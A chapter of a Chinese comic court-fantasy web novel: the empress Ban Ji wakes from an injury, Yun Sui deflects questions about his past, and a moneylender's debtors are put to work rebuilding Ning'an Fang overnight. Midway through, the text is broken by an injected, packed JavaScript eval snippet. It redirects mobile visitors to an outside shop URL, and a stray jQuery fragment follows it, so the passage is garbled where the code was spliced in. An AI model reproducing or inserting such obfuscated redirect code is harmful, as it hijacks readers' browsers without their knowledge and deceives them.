众人目光游鱼般在彼此脸上游了一圈,末了,不约而同落在阿攀身上。
阿攀被这阵仗唬了一跳,急赤白脸道:“不是我说的!”
“不是你是谁?”戚加均第一个不饶她,“平日里属你叽叽喳喳满嘴怪话!陛下九五之尊,你也敢编排来编排去!”
“这回真不是我!”阿攀急得跳脚,眼珠四下乱转,最后猛地指向地上那只灵龟,“是它!”
戚加均作势要捶她,心说你好歹挑个会说话的来栽赃,不想沈见原先她一步开了口。
沈见原无意纠结闲话出自谁口,注意力全锁在另一人身上。
“云公子,”她带着刨根问底的架势,“你究竟是什么人?”
戚加均、阿攀立时止了争执,连那只灵龟都似听懂人话,黑豆似的眼睛转向草堆方向。
云遂倚在乱草之中,半边身子被班棘霸占着,余下半边亦如风卷残云。
他试着挣动手腕,以求从班棘的钳制中脱身,两次未果,便已有气无力,只好任那手臂瘫在班棘小腹上。
“沈大夫何有此问?”他眉眼温和,一派无辜,“在下不过一介残躯,幸得陛下垂青,忝为刀笔吏,无殊人矣。”
“公子何必自谦。”
沈见原轻快一笑,随即那笑脸结成坚冰。
“方才玉玺黑气暴走,分明是要取你性命,可这同源灵龟一出,凶煞黑气便即刻收敛。你体内若无龙脉同源之物,玉玺何至于此?”
云遂半点不慌,对这番诘问付之一笑。
凭他的伶俐口舌,编几段真假参半的说辞掩下秘辛,本不在话下。
可话到嘴边,他忽然觉得百般无趣,索性装起懵懂。
“沈大夫既有疑虑,我理当据实以告,只是此事蹊跷,我自己亦是不解。”
沈见原分毫不信,步步紧逼,“听闻公子曾是太子伴读,莫非这身份暗藏玄机?”
云遂坦荡摇头,“东宫张榜纳贤,我揭榜应试,依规入选,无有玄妙。”
沈见原双目如刀,剐着云遂纯良的面容,不肯放过半点破绽。
“太子伴读历来由太师举荐、皇帝钦定,何曾有民间招考的先例?”
云遂滴水不漏,淡然回应:
“彼时朝中无合适人选,先帝广开贤路,破格效仿恩科取士之举。太子不以臣卑鄙,屈身纳用罢了。”
沈见原听得眉心蹙起,还欲深究,忽然——
“水!”班棘干嚎一声,挺身坐起。
她依旧死死攥着云遂的手腕,如此一扯,云遂胳膊险些脱臼,不由惊叫出声。
班棘本就失神,这一声痛呼更是让她大受惊吓,一把甩开掌中之物,躲到一旁。
她这边的力道一空,云遂彻底栽进草堆,哀哀喘起气来。
“女帝姐姐!”阿攀第一个扑上前,摩挲着班棘的脸,“你可算活过来了!”
“朕方才是死了吗?”班棘理智出走,没头没脑地乱问,“朕死的时候,你们在密谋什么?”
众人只当她是气机震荡、神智未清,一时无人回应,只是沉沉地望住她。
班棘环看一圈,最后落定在云遂脸上,面露疑惑。
“云爱卿,你下巴为什么肿成这样?”
云遂抬手托了托下颌,碰到伤处,缩回手去。
“回陛下,是撞击所致。”
“撞哪儿了?”
“陛下的头顶。”
班棘摸了摸自己的天灵盖,果然触到一片钝痛,当即一本正经责备起来:
“你看你,做事老这么毛毛躁躁的,下次一定要小心哦!”
说罢,她身子一软,又要往回躺。
阿攀一把扯住她的胳膊,“又要干嘛!”
“困。”班棘眼皮打架,“朕再睡会儿。”
“别睡了!”阿攀前后摇晃她的身体,“女帝姐姐你忘了?凝安坊塌了大半,你定下的两日工期,眼看就要到了!”
戚加均闻言又要开腔,想着陛下重伤初醒,身心俱疲,岂能如此苛责,险些将“敲骨吸髓”的话脱口而出。
可下一刻,班棘的眼皮便高高抬起,方才的慵懒颓然一扫而空。
“朕记得!朕当然记得!凝安坊……”
她一骨碌爬起,冲出厢房,一头扎进沉沉夜色之中。
“陛下!”戚加均快步追赶,高声劝阻,“你刚晕过,身子吃不住!何况现在已是戌时,点灯熬油也赶不完工期啊!”
阿攀紧随其后追出,张口欲提人手不足的难处,可刚到门口,劝诫之语便卡在喉间。
余下诸人见状,心生好奇,纷纷涌向门口张望。
沈见原走出两步,忽又回头,瞥见草堆上柔弱不能自理的云遂,唤住队尾的阿登,合力让他扶稳坐好,推着轮椅一同出门。
庵外旷野上,盏盏灯笼纵向排布,连绵不绝,宛若落地银河,点亮沉沉黑夜。
庵门被人从外推开,两道身影步入院中。
前方女子鸦青劲装,青丝高挽,正是丰集英。
后者是一男子,身形极高极大,将前人整个笼在阴影中。而与那巍峨身躯形成对比的,是他温顺的眼神。
二人身后,黑压压的人流接踵而至,随号令整齐列队,方方正正。
丰集英携壮汉上前,对着班棘拱手行礼。
班棘回过神来,飞跑过去扶起对方,惊喜道:“丰东家你来得正好,朕这里正缺人手!”
“陛下莫慌。”丰集英往旁边让了一步,“我午后分粮时,听闻凝安坊坍塌,便即刻折返东城,借来这一众人力,可解陛下燃眉之急。”
“借?”班棘不解追问,“为什么是借?”
“此二百七十三人,全都欠我银两,三两到二十两不等。我与他们约定,今夜为陛下做工,便可免去债务。”
班棘目瞪口呆,“这、这么多人都欠你钱?”
“何止,这只是今天债务到期的人。”丰集英抬眼望向夜色,“若明日破晓之前,他们无力偿债,利息便会翻倍。”
“所以,陛下,你有一夜时间,借这帮人之力重建凝安坊。日出之后,无论工程成败,我都需带人返程。”
“妙哉!”班棘对丰集英的财力、魄力、号召力倍感惊叹,“那还等什么?开干!”
她转身大步朝工地走去,浩浩荡荡的人流紧随其后。
“第一件事!”班棘指着那“示范旱厕”,大手一挥,“把这粪坑掏干净、填平整!”
“陛下万万不可!”沈见原正色劝谏,“这隔离层是凝安坊防疫核心,必不可少!”
“是啊陛下!这坑我们十几个人挖了好几个时辰才挖成,何苦白白填起来?”戚加均满心不解。
那壮汉也在丰集英耳边嘟囔起来。
“你说的是帮一位‘德高望重的女帝’干一些‘事关国计民生’的大事,没说是来掏粪坑啊!”
丰集英朝他掌心一摊,“那你还钱。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874011|212194||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>壮汉立刻抿嘴立正,不再多话。
阿攀见状勾起八卦之魂,凑到壮汉身边打听,“大哥,你是丰东家什么人?怎的这般听她管束?”
“哦,丰东家是我的内人,我是丰东家的外子。当然了,你也可以说我是丰东家的内子,丰东家是我的外人。”
壮汉这套绕口令下来,阿攀已是云里雾里,满脸茫然。
云遂听到了对话,好心帮阿攀总结,“此二人,乃是夫妻。”
“原来如此!”阿攀恍然,“你就是当年的武举探花?你也欠丰东家钱?”
“前些时日偷摸从她钱袋取了几文钱,买了两块桂花糕解馋,被她抓个正着,然后……”壮汉一摊手,“便落到了如今的境地。”
阿攀震惊得无以复加,“你连买桂花糕的钱都没有?!”
壮汉正要细细解释,却被丰集英一声怒喝打断,“还在啰嗦?不想还钱了是不是?”
壮汉立刻噤声,屁颠屁颠跑回丰集英身边,乖巧待命。
这厢,沈见原、戚加均还在执着地劝阻班棘填坑。
班棘按下二人,胸有成竹:
“朕当然知道这坑的重要性,填上这个小坑,是为了挖个大坑。毕竟,这么点坑,哪够掩埋数万灾民的医疗废污、隔绝疫毒?”
她纵身一跃,落在一方青石上,意气风发。
“大家注意了,我们今晚要建的,是比原来大五倍的凝安坊2.0!”
万象铲在她掌心嗡鸣一声,化作一杆长枪。她将长枪插在地里,镇住全场。
“众人听令!”
“一队随阿攀,深挖地基,将潜龙废渠尽数填埋!”
阿攀立刻挺身站定,朗声领命。
“二队随戚大姐,夯实基底,再次筑墙!”
“三队跟着朕,学习用碎砖砌空心墙。”班棘顿了顿,忽然高声发问,“你们当中,有没有谁开过墓道的?”
众人目光对撞,不解女帝此问深意,无人敢答,生怕获罪。
良久,一个瘦猴青年怯怯举手,“草民小时候,跟爷爷盗过……”
“好!”班棘招手唤他,“你来做三队副手,空心墙跟墓道原理相通,你肯定上手快。”
瘦猴青年突然被委以重任,受宠若惊,手足无措地快步上前。
灯火最盛处,丰集英负手而立,静静看着眼前热火朝天的景象,对这位少年皇帝的认知又加深了几分。
班棘已然扛着万象枪冲入废墟残瓦之间,一边穿梭调度,一边高声喊话:
“把东边那面墙的砖全拆了码过来!那帮后生别愣着!抠那个灰缝!抠!这不是在刨你老丈人坟头,下手狠点!”
阿攀、戚加均已各带一路人马忙活起来,工地之上,人声鼎沸,灯火通明,兵荒马乱,却也井然有序。
沈见原方才接到助手传报,临时防疫所急症频发,急需她坐镇,只得匆匆嘱托旁人照看云遂,仓促离去。
一时间,灯火之下,只剩轮椅上静默的云遂,冷眼旁观着满堂喧嚣。
不知何时,灵龟已缓缓爬至轮椅边,伸长脖子,一双龟目沉沉望着往来人影。
一人一龟对视片刻,默然无言。
神龟用前爪扒拉着云遂的靴尖,月光倾泻而下,龟背上那行刻字隐隐泛起青光。
云遂凝视着那行谶语,忽然眸色一沉,好似忆起了什么尘封旧事。
下一刻,他扬声高喊:
“陛下且慢!”